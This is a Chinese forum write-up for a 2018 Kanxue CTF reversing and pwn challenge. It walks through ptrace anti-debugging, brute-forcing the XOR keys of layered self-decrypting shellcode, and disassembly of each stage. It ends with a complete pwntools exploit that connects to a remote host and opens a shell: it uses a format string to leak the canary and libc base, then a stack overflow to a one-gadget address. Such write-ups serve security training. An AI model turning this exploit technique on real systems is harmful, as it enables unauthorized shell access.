首页
社区
课程
招聘
[原创]2018看雪CTF第三题WP
2018-6-20 21:27 2522

[原创]2018看雪CTF第三题WP

2018-6-20 21:27
2522

migitation

ptrace占坑反调试

test函数中调用了ptrace

把welcome函数中调用test处nop掉就能用gdb调试了。

Shellcode

从这起,F5大法就不好用了,直接分析汇编

Tips1:

call $+5
pop rax

call指令把pop rax的地址压栈,随后又弹入rax中。动态获取当前的地址(还记得罗云彬的汇编书里说这是病毒常用的手段。。。)

Tips2:

mov rdx,xxx
mov rdi,xxx
mov rsi,xxx
mov rax,xxx
syscall

syscall为linux的系统调用,rax是功能号。
rdi,rsi,rdx对应着前三个参数。即为syscall(rdi,rsi,rdx)

Shellcode1


●syscall调mprotect把text段的读写执行属性都打开。(因为下面要动态解密)
●syscall调read读入6个字节。(后面可知这是6段shellcode解密的xor_key)。
●从下面相邻的代码出开始解密,取输入的第一个字节逐字节异或,当解密后遇到\x90时停止解密,跳入解密完成的代码。

穷举

最直接的想法是输出256种可能下的反汇编代码,人工判断是否合理,事实证明可行。

from pwn import *
context.arch = 'amd64'

with open('wow') as f:
    data = f.read()
    data = data[0x87F:0x900]

with open('disambly','w') as f:
    for i in range(256):
        f.write('i=%d\n'%i)
        a = map(lambda c:chr(ord(c)^i),data)
        s = disasm(''.join(a))
        if 'nop' in s and 'rax+rcx' in s:
            f.write(s)
        f.write('\n\n')

Shellcode2

 

shellcode2先把之前执行过的破坏掉(应该是为了防止我们后面利用这部分代码),然后利用输入的第二个字节异或解密并执行shellcode3。
穷举解密的套路相同,不再赘述。

Shellcode2-7

i=101
   0:   48 8d 04 08             lea    rax,[rax+rcx*1]
   4:   48 2d 80 00 00 00       sub    rax,0x80
   a:   48 31 c9                xor    rcx,rcx
   d:   8a 1c 08                mov    bl,BYTE PTR [rax+rcx*1]
  10:   30 d3                   xor    bl,dl
  12:   88 1c 08                mov    BYTE PTR [rax+rcx*1],bl
  15:   48 ff c1                inc    rcx
  18:   48 83 f9 20             cmp    rcx,0x20
  1c:   7c ef                   jl     0xd
  1e:   48 05 80 00 00 00       add    rax,0x80
  24:   48 31 c9                xor    rcx,rcx
  27:   8a 14 0e                mov    dl,BYTE PTR [rsi+rcx*1]
  2a:   48 ff c6                inc    rsi
  2d:   32 14 0e                xor    dl,BYTE PTR [rsi+rcx*1]
  30:   8a 1c 08                mov    bl,BYTE PTR [rax+rcx*1]
  33:   30 d3                   xor    bl,dl
  35:   88 1c 08                mov    BYTE PTR [rax+rcx*1],bl
  38:   8a 74 08 ff             mov    dh,BYTE PTR [rax+rcx*1-0x1]
  3c:   48 ff c1                inc    rcx
  3f:   80 fe fb                cmp    dh,0xfb
  42:   74 ec                   je     0x30
  44:   80 fb 90                cmp    bl,0x90
  47:   75 e7                   jne    0x30
  49:   90                      nop

i=19
   0:   48 8d 04 08             lea    rax,[rax+rcx*1]
   4:   48 2d 80 00 00 00       sub    rax,0x80
   a:   48 31 c9                xor    rcx,rcx
   d:   8a 1c 08                mov    bl,BYTE PTR [rax+rcx*1]
  10:   30 d3                   xor    bl,dl
  12:   88 1c 08                mov    BYTE PTR [rax+rcx*1],bl
  15:   48 ff c1                inc    rcx
  18:   48 83 f9 20             cmp    rcx,0x20
  1c:   7c ef                   jl     0xd
  1e:   48 05 80 00 00 00       add    rax,0x80
  24:   48 31 c9                xor    rcx,rcx
  27:   48 ff c6                inc    rsi
  2a:   32 14 0e                xor    dl,BYTE PTR [rsi+rcx*1]
  2d:   8a 1c 08                mov    bl,BYTE PTR [rax+rcx*1]
  30:   30 d3                   xor    bl,dl
  32:   88 1c 08                mov    BYTE PTR [rax+rcx*1],bl
  35:   8a 74 08 ff             mov    dh,BYTE PTR [rax+rcx*1-0x1]
  39:   48 ff c1                inc    rcx
  3c:   80 fe fb                cmp    dh,0xfb
  3f:   74 ec                   je     0x2d
  41:   80 fb 90                cmp    bl,0x90
  44:   75 e7                   jne    0x2d
  46:   90                      nop

i=75
   0:   48 8d 04 08             lea    rax,[rax+rcx*1]
   4:   48 2d 80 00 00 00       sub    rax,0x80
   a:   48 31 c9                xor    rcx,rcx
   d:   8a 1c 08                mov    bl,BYTE PTR [rax+rcx*1]
  10:   30 d3                   xor    bl,dl
  12:   88 1c 08                mov    BYTE PTR [rax+rcx*1],bl
  15:   48 ff c1                inc    rcx
  18:   48 83 f9 20             cmp    rcx,0x20
  1c:   7c ef                   jl     0xd
  1e:   48 05 80 00 00 00       add    rax,0x80
  24:   48 31 c9                xor    rcx,rcx
  27:   48 ff c6                inc    rsi
  2a:   32 14 0e                xor    dl,BYTE PTR [rsi+rcx*1]
  2d:   8a 1c 08                mov    bl,BYTE PTR [rax+rcx*1]
  30:   30 d3                   xor    bl,dl
  32:   88 1c 08                mov    BYTE PTR [rax+rcx*1],bl
  35:   8a 74 08 ff             mov    dh,BYTE PTR [rax+rcx*1-0x1]
  39:   48 ff c1                inc    rcx
  3c:   80 fe fb                cmp    dh,0xfb
  3f:   74 ec                   je     0x2d
  41:   80 fb 90                cmp    bl,0x90
  44:   75 e7                   jne    0x2d
  46:   90                      nop

i=37
   0:   48 8d 04 08             lea    rax,[rax+rcx*1]
   4:   48 2d 80 00 00 00       sub    rax,0x80
   a:   48 31 c9                xor    rcx,rcx
   d:   8a 1c 08                mov    bl,BYTE PTR [rax+rcx*1]
  10:   30 d3                   xor    bl,dl
  12:   88 1c 08                mov    BYTE PTR [rax+rcx*1],bl
  15:   48 ff c1                inc    rcx
  18:   48 83 f9 20             cmp    rcx,0x20
  1c:   7c ef                   jl     0xd
  1e:   48 05 80 00 00 00       add    rax,0x80
  24:   48 31 c9                xor    rcx,rcx
  27:   48 ff c6                inc    rsi
  2a:   32 14 0e                xor    dl,BYTE PTR [rsi+rcx*1]
  2d:   8a 1c 08                mov    bl,BYTE PTR [rax+rcx*1]
  30:   30 d3                   xor    bl,dl
  32:   88 1c 08                mov    BYTE PTR [rax+rcx*1],bl
  35:   8a 74 08 ff             mov    dh,BYTE PTR [rax+rcx*1-0x1]
  39:   48 ff c1                inc    rcx
  3c:   80 fe fb                cmp    dh,0xfb
  3f:   74 ec                   je     0x2d
  41:   80 fb 90                cmp    bl,0x90
  44:   75 e7                   jne    0x2d
  46:   90                      nop

i=68
   0:   48 8d 04 08             lea    rax,[rax+rcx*1]
   4:   48 2d 80 00 00 00       sub    rax,0x80
   a:   48 31 c9                xor    rcx,rcx
   d:   8a 1c 08                mov    bl,BYTE PTR [rax+rcx*1]
  10:   30 d3                   xor    bl,dl
  12:   88 1c 08                mov    BYTE PTR [rax+rcx*1],bl
  15:   48 ff c1                inc    rcx
  18:   48 83 f9 20             cmp    rcx,0x20
  1c:   7c ef                   jl     0xd
  1e:   48 05 80 00 00 00       add    rax,0x80
  24:   48 31 c9                xor    rcx,rcx
  27:   48 ff c6                inc    rsi
  2a:   32 14 0e                xor    dl,BYTE PTR [rsi+rcx*1]
  2d:   8a 1c 08                mov    bl,BYTE PTR [rax+rcx*1]
  30:   30 d3                   xor    bl,dl
  32:   88 1c 08                mov    BYTE PTR [rax+rcx*1],bl
  35:   48 ff c1                inc    rcx
  38:   80 fb 90                cmp    bl,0x90
  3b:   75 f0                   jne    0x2d
  3d:   90                      nop


i=15
   0:   48 8d 04 08             lea    rax,[rax+rcx*1]
   4:   48 2d c0 00 00 00       sub    rax,0xc0
   a:   48 31 c9                xor    rcx,rcx
   d:   8a 1c 08                mov    bl,BYTE PTR [rax+rcx*1]
  10:   30 d3                   xor    bl,dl
  12:   88 1c 08                mov    BYTE PTR [rax+rcx*1],bl
  15:   48 ff c1                inc    rcx
  18:   48 83 f9 20             cmp    rcx,0x20
  1c:   7c ef                   jl     0xd
  1e:   48 c7 c0 01 00 00 00    mov    rax,0x1
  25:   48 c7 c2 05 00 00 00    mov    rdx,0x5
  2c:   48 8d 34 25 58 10 60    lea    rsi,ds:0x601058
  33:   00 
  34:   48 89 c7                mov    rdi,rax
  37:   0f 05                   syscall             //print('wow!')


  39:   bf 00 00 00 00          mov    edi,0x0
  3e:   e8 b1 fb ff ff          call   0xfffffffffffffbf4 //fflush()
  43:   48 39 c0                cmp    rax,rax
  46:   75 12                   jne    0x5a

  48:   e8 00 00 00 00          call   0x4d
  4d:   58                      pop    rax
  4e:   48 83 c0 07             add    rax,0x7
  52:   ff e0                   jmp    rax
  54:   48 31 c0                xor    rax,rax
  57:   48 c7 c2 1a 00 00 00    mov    rdx,0x1a
  5e:   48 89 e6                mov    rsi,rsp
  61:   48 89 24 25 88 10 60    mov    QWORD PTR ds:0x601088,rsp
  68:   00 
  69:   48 89 c7                mov    rdi,rax
  6c:   0f 05                   syscall //read()



  6e:   48 8b 05 37 06 20 00    mov    rax,QWORD PTR [rip+0x200637]        # 0x2006ac
  75:   48 89 c7                mov    rdi,rax
  78:   b8 00 00 00 00          mov    eax,0x0
  7d:   e8 52 fb ff ff          call   0xfffffffffffffbd4 //printf
  82:   48 31 c0                xor    rax,rax
  85:   48 c7 c2 00 02 00 00    mov    rdx,0x200
  8c:   48 8d 74 24 e0          lea    rsi,[rsp-0x20]
  91:   48 89 c7                mov    rdi,rax
  94:   0f 05                   syscall 
  96:   90                      nop

最后一段shellcode中存在格式化字符串漏洞,输入"%13$p %15$p"会打印出栈上的数据。
第一个输出的是canary,保证接下来能构造栈溢出
第二个是返回地址。是libc函数__libc_start_main调用main函数压入栈中的,以此可以通过返回地址的后12位获取libc的版本,进而获取libc的基址。

栈溢出OneGadget


泄露出canary和libc基址后,用OneGadget覆盖原来的返回地址,执行完retn后就能GetShell!

EXP

from pwn import *

#context.log_level = 'debug'

p = remote('139.199.99.130',65188)
#p = process('./wow1')
bin = ELF('./wow1')
#gdb.attach(p,'b *0x400a73')

l = [101,19,75,37,68,15]
pwd = '\x65'
for i in range(5):
    c = chr(l[i]^l[i+1])
    pwd += c

p.recv()
p.send(pwd)
p.recv()
p.send('%13$p %15$p')

s = p.recv()
l = s.split(' ')
canary = int(l[0],16)
libc_base = int(l[1],16) - 0x20830
print hex(canary)
print hex(libc_base)

payload = 'b'*0x58 + p64(canary) + 'a'*8 + p64(libc_base + 0x45216)
p.send(payload)

p.interactive()

GetShell


[CTF入门培训]顶尖高校博士及硕士团队亲授《30小时教你玩转CTF》,视频+靶场+题目!助力进入CTF世界

最后于 2018-6-21 15:56 被mratlatsn编辑 ,原因:
收藏
点赞1
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回